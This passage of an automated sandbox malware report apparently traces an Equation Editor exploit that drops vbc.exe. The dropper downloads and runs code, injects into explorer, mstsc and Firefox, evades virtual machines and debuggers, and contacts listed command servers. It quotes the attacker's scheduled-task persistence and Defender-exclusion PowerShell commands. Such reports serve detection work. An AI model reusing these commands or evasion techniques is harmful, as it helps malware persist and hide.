Source: dDqpEdJEtzi.exe.4.dr, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
Source: 4.2.vbc.exe.1260000.1.unpack, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
Source: 4.0.vbc.exe.1260000.0.unpack, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
Source: 9.0.vbc.exe.1260000.6.unpack, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
Source: 9.0.vbc.exe.1260000.2.unpack, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
Source: 9.2.vbc.exe.1260000.4.unpack, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
Source: 9.0.vbc.exe.1260000.0.unpack, IceCreamManager/View/MainForm.cs .Net Code: LateBinding.LateCall(V_0, null, "Invoke", new object[] { null, new object[] { "436C61737350726F7065727479577269", "306F50674D6D", "IceCreamManager" } }, null, null)
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 4_2_002EEA40 push esp; retf 002Dh 4_2_002EEA41
Source: C:\Users\Public\vbc.exe Code function: 9_2_00409023 push esi; iretd 9_2_0040902F
Source: C:\Users\Public\vbc.exe Code function: 9_2_00416B91 push edx; retf 9_2_00416B92
Source: C:\Users\Public\vbc.exe Code function: 9_2_00417423 push es; retf 9_2_00417424
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041D672 push eax; ret 9_2_0041D678
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041D67B push eax; ret 9_2_0041D6E2
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041D625 push eax; ret 9_2_0041D678
Source: C:\Users\Public\vbc.exe Code function: 9_2_0041D6DC push eax; ret 9_2_0041D6E2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025CDFA1 push ecx; ret 11_2_025CDFB4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000C9023 push esi; iretd 11_2_000C902F
Source: initial sample Static PE information: section name: .text entropy: 7.63421102824
Source: initial sample Static PE information: section name: .text entropy: 7.63421102824
Source: initial sample Static PE information: section name: .text entropy: 7.63421102824
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Roaming\dDqpEdJEtzi.exe Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690401 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_03690401

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dDqpEdJEtzi" /XML "C:\Users\user\AppData\Local\Temp\tmp7282.tmp
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: 4.2.vbc.exe.27da9ec.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000004.00000002.998332695.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.998529663.00000000027CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: vbc.exe PID: 1200, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: vbc.exe, 00000004.00000002.998332695.0000000002721000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000004.00000002.998529663.00000000027CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Source: vbc.exe, 00000004.00000002.998332695.0000000002721000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000004.00000002.998529663.00000000027CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 0000000000408C04 second address: 0000000000408C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 0000000000408F9E second address: 0000000000408FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe RDTSC instruction interceptor: First address: 00000000000C8C04 second address: 00000000000C8C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe RDTSC instruction interceptor: First address: 00000000000C8F9E second address: 00000000000C8FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1344 Thread sleep time: -420000s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 1704 Thread sleep time: -45733s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 1476 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 1472 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2428 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 9_2_00408ED0 rdtsc 9_2_00408ED0
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 45733 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: explorer.exe, 0000000A.00000000.1021492466.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: vbc.exe, 00000004.00000002.998529663.00000000027CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.998529663.00000000027CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: vbc.exe, 00000004.00000002.997219911.00000000004A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMware_S
Source: explorer.exe, 0000000A.00000000.1021492466.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.1000435054.0000000006320000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 0000000A.00000000.1027349561.0000000008844000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 0000000A.00000000.999909369.000000000037B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.08tp
Source: explorer.exe, 0000000A.00000000.1021939258.0000000004423000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: vbc.exe, 00000004.00000002.998529663.00000000027CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware SVGA II
Source: explorer.exe, 0000000A.00000000.1021492466.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: v6nel\5&35c44269e\cdromnvmware_sata_
Source: explorer.exe, 0000000A.00000000.1033695108.000000000434F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0Q
Source: vbc.exe, 00000004.00000002.998529663.00000000027CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 0000000A.00000000.1029308104.0000000000335000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_000D1660 FindFirstFileW,FindNextFileW,FindClose, 11_2_000D1660
Contains functionality to read the PEB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03690487 mov edx, dword ptr fs:[00000030h] 2_2_03690487
Source: C:\Users\Public\vbc.exe Code function: 9_2_008926F8 mov eax, dword ptr fs:[00000030h] 9_2_008926F8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 11_2_025D26F8 mov eax, dword ptr fs:[00000030h] 11_2_025D26F8
Checks if the current process is being debugged
Source: C:\Users\Public\vbc.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 9_2_00408ED0 rdtsc 9_2_00408ED0
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\Public\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process token adjusted: Debug Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\Public\vbc.exe Code function: 9_2_0040A140 LdrLoadDll, 9_2_0040A140
Source: C:\Users\Public\vbc.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.employeebnsf.com
Source: C:\Windows\explorer.exe Network Connect: 185.53.179.171 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 5.183.8.183 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.dems-clicks.com
Maps a DLL or memory area into another process
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: unknown target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\Public\vbc.exe Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A Jump to behavior
Adds a directory exclusion to Windows Defender
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dDqpEdJEtzi.exe
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dDqpEdJEtzi.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\Public\vbc.exe Section unmapped: C:\Windows\SysWOW64\mstsc.exe base address: 3B0000 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section unmapped: C:\Program Files (x86)\Mozilla Firefox\firefox.exe base address: 8B0000 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread register set: target process: 1860 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread register set: target process: 1860 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Thread register set: target process: 1860 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\dDqpEdJEtzi.exe Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dDqpEdJEtzi" /XML "C:\Users\user\AppData\Local\Temp\tmp7282.tmp Jump to behavior
